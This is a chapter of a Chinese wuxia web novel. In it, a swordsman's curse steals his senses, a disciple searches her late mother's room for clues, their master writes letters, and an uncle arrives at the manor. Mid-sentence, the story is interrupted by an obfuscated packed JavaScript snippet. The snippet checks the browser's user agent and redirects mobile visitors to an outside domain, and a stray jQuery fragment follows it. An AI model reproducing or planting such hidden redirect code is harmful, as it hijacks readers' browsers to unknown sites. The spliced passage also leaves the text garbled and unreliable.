40.梅三叔

作品:《难道我不像剑修?

    周自衡醒来时是个清晨,这几天他难得醒的这么早,看着窗外朦胧的天空,甚至觉得今天格外有精神些。


    他和席冰漪霍钦一起吃了早饭,席冰漪像每日打卡一般,又跑到小院去祈求梅夫人心软。


    周自衡无所事事地将红尘抽出又放回,一会将剑身擦得锃亮,一会又望着剑中倒影叹气。


    霍钦有些无语:“这是在干什么?知道自己不久于世,精神状态出问题了?”


    周自衡摇头:“一想到江湖要失去一个天才,你不会心痛难忍吗?”


    霍钦:“……”


    他瞧周自衡双目有神,已不像前几日那样暗淡的模样,顺嘴问了句:“昨夜睡得好吗?”


    周自衡奇怪他为何会有这一问:“自然是一夜安眠。”


    见周自衡没发现什么异常,霍钦拧眉。


    周自衡的功夫他是知道的,昨夜放了那么多血,血腥气浓重,即便很快做了通风,但对方怎么会察觉不到呢?


    但很快,他又安慰自己,不知道才好,要是知道,总归会有许多麻烦。


    很小的时候,早慧的周自衡就知道会有这么一天。


    折桂诅咒折磨着他,如同在灵魂上开了个口,汲取他的情绪,贪图他的血肉。


    就连林有别也说不好,究竟是让周自衡做个没有感情的傀儡好,还是让他体验世间百态,让他做个真正的人才好。


    前者固然能牵制折桂诅咒,但谁能说这样行将就木的活着,算是活着呢?


    后者虽然能让周自衡如此绚烂、猖狂地点燃生命,但又何尝不是助长诅咒?


    两难选择,没有对错。


    周自衡自己选择了第二条路,就如同他毅然决然选择了红尘一般,从未想过回头。


    如今五感渐失,他也不曾后悔。


    所以,周自衡很平静地对着霍钦笑了笑:


    “你在担心什么呢?前段时间,还是你和我说,最重要的不过是自己在江湖上的故事。”


    霍钦哽住。


    他是这么说过,但谁能看着朋友日渐衰弱无动于衷?


    更何况还是视力丢失这样的大事!


    这谁能知道,前一天刚劝周自衡想开点,现在就轮到他来劝自己了。


    霍钦被这活祖宗气得没脾气,拂袖而去,准备找席冰漪说说。


    周自衡恨平静,但相比之下,席冰漪就显得急躁许多了。


    她每天雷打不动去梅夫人那撒娇,然后在日复一日的碰壁后去寻找梅知莹的手书、笔记之类,整日在梅花山庄里乱窜,想找到她都有些困难。


    ……


    圣山。


    最近天气越来越冷,谢允也不出意外病倒了,此时正虚弱地倚靠床上,看着林有别担忧的目光。


    “别皱眉,就是个小感冒而已。”谢允有点好笑,看到林有别这一副如临大敌的样子,伸手摸了摸她的眉心。


    “你还笑得出来。”林有别扭头,细数谢允的“罪行”:


    “当年,你突然发病,昏迷几周,三颗莲子都没能治好你的病。后来你每逢夏天就体寒打摆子,每逢冬天就感冒发烧,身体一直拖着不好,我都笑不出来!”


    谢允苦笑:“没办法,能拖着病体活到今日,已经是上天眷顾了。”


    林有别朦胧了眼睛,有些哽咽:“一个你,一个小舟,你们真是我的报应。”


    正说着,信鸽扑棱着翅膀停在了林有别肩头。


    “谁的来信。”林有别说着,取下绑在信鸽腿上的信,缓缓展开。


    看完,她眉毛皱得更严重了。


    谢允咳嗽了一声,唤回了林有别的思绪。


    “怎么了?”


    林有别回神:“冰漪的信。信中提到了梅知莹的死因,还问了折桂诅咒的事。”


    提到梅知莹,两个人都有些沉默。


    他们还记得当初梅席霍三人深入极北之地,带回三颗救命的莲子的故事,当然也没忘那个深重的雨夜。


    席冰漪信中还提到折桂诅咒,两人都有些奇怪。


    “这是小舟出现问题了?”谢允有些奇怪,“不然冰漪不会选择求助我们。”


    林有别沉默,猜测大概是自家徒弟不愿告知实情。


    ……


    霍钦找席冰漪倒是颇费了一番功夫。


    梅花山庄错综复杂,他又人生地不熟,最终还是看到天际有圣山的信鸽飞过,才顺着踪迹找到了忙碌的席冰漪。


    见到她时,席冰漪正展开信鸽腿上的纸条。


    霍钦凑过去,就见满张纸上刚劲有力的字体:


    “你师兄的折桂诅咒说来复杂,但既然你已有这样的疑问,想必是情况不容乐观……”


    “他为何会患上诅咒,我也实在不知。捡到小孩时,他就已经背负命运的痕迹。”


    “诅咒若要发作,必定会叫他生不如死,直到蚕食五感,汲取生命,最终将人变作一截枯木。”


    虽然早有猜测,但直到此刻,席冰漪才有“果然如此”的沉重。


    她询问霍钦,试图找到一丝安慰:“你父亲有患有诅咒,如今也还是活着,对吧?”


    霍钦沉默了片刻,虽然自己心里知道,霍匀峰如今是生是死尚未可知,但他还是点点头,给予席冰漪一点微薄的希望。


    “是的,并且我猜测,你父母曾经应该找到了压制诅咒的办法。”


    席冰漪眼睛亮起来,喃喃自语道:“对呀,我怎么没想到这一点呢?”


    “他们结拜兄弟,情同手足,必然不会让好兄弟就这样死去……”


    “一定还有办法!”


    说着,她来不及招呼霍钦,又风风火火跑走,忙着从旧物中窥得曾经种种了。


    梅知莹爱记录重要的事件,但席冰漪很难找到这些细碎的手记。


    一方面是梅知莹比较随性,就算记录了事件,也是到处


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512509|181439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乱放,你让梅知莹自己来找可能都找不到。


    另一方面是席冰漪很少来母亲的房间,她大部分时间都在圣山上修行,偶尔回家也是在席堡,对梅花山庄属实不太熟悉。


    席冰漪按照依稀的记忆找到梅知莹生前的卧房,推开门,环顾四周。


    梅知莹的房间很简单,布局甚至和席翎的书房有些类似——中间是一张厚重古朴的书桌,上面摆着一个素净的花瓶,插着一束枯萎的花。


    书桌背后是一面巨大的书架,不同于席堡丰富的藏书,梅知莹的房间里倒没什么书籍。


    席冰漪此刻倒无比庆幸,要是书架上摆的书多点,她还真不知道从哪下手。


    这边席冰漪在埋头找线索,另一边的周自衡却收到了圣山信鸽的来信。


    他有些奇怪,还以为信鸽是去找席冰漪的,毕竟林有别很少与他传信,结果信鸽直直地朝他飞来,停在肩头。


    周自衡打开信,就见林有别写道:“好徒弟,诅咒现在变成什么颜色了?要是痛苦难抑,就回圣山吧,师父师娘会给你送……会照顾你的。”


    周自衡:“……”


    他随便想想,都知道林有别最开始写的是“师父师娘会给你送终的”!


    合着自己才是地里的小白菜。


    周自衡只好回信:“我的身体还好,师父放心,也请师父师娘保重身体。”


    刚放飞信鸽,梅花山庄很快便迎来了一个意料之外,却也是周自衡恰巧在等的人。


    只听门外暄暄,一个硬朗洪亮的声音传来:“母亲,我回来了!”


    来人推开大门,正好与周自衡四目相对。


    周自衡端详了一会,来人衣着随性,腰间挂着几串铜板,右耳夹着一个单边耳饰,正好也是铜板的模样。


    年轻、浮夸,这是周自衡对这位梅三叔的第一印象。


    梅三叔在大堂见到陌生的周自衡,不由得退后几步重新确认了一下是不是梅花山庄,见没走错路才重新回来。


    正好周自衡开口:“三叔,快别看了,这里就是咱家呢。”


    梅三叔重复:“咱家?”


    随后他不知道想到了什么,恍然大悟道:“你是冰漪未来夫婿?”


    周自衡大惊失色,连忙摆手:“非也非也,三叔,我就是客套一下!说这话可就冒昧了!”


    梅三叔呵呵一笑:“哈哈,我知道你是冰漪的师兄,故意逗逗你罢了。”


    周自衡没想到这梅三叔这般为老不尊,又简短聊了聊,对方便要告别,前往小院。


    今天不是十三,梅三叔却提早来了梅花山庄。


    周自衡眯着眼,看着梅三叔背影逐渐消失。


    梅花山庄背后那一个巨大的锻造炉犹如一座山,黑压压地投下一片阴影。


    周自衡抽出红尘,用剑身挡住梅三叔的背影,却挡不住黑沉沉的锻造炉。


    巨影之下,红尘渺小像一条血线。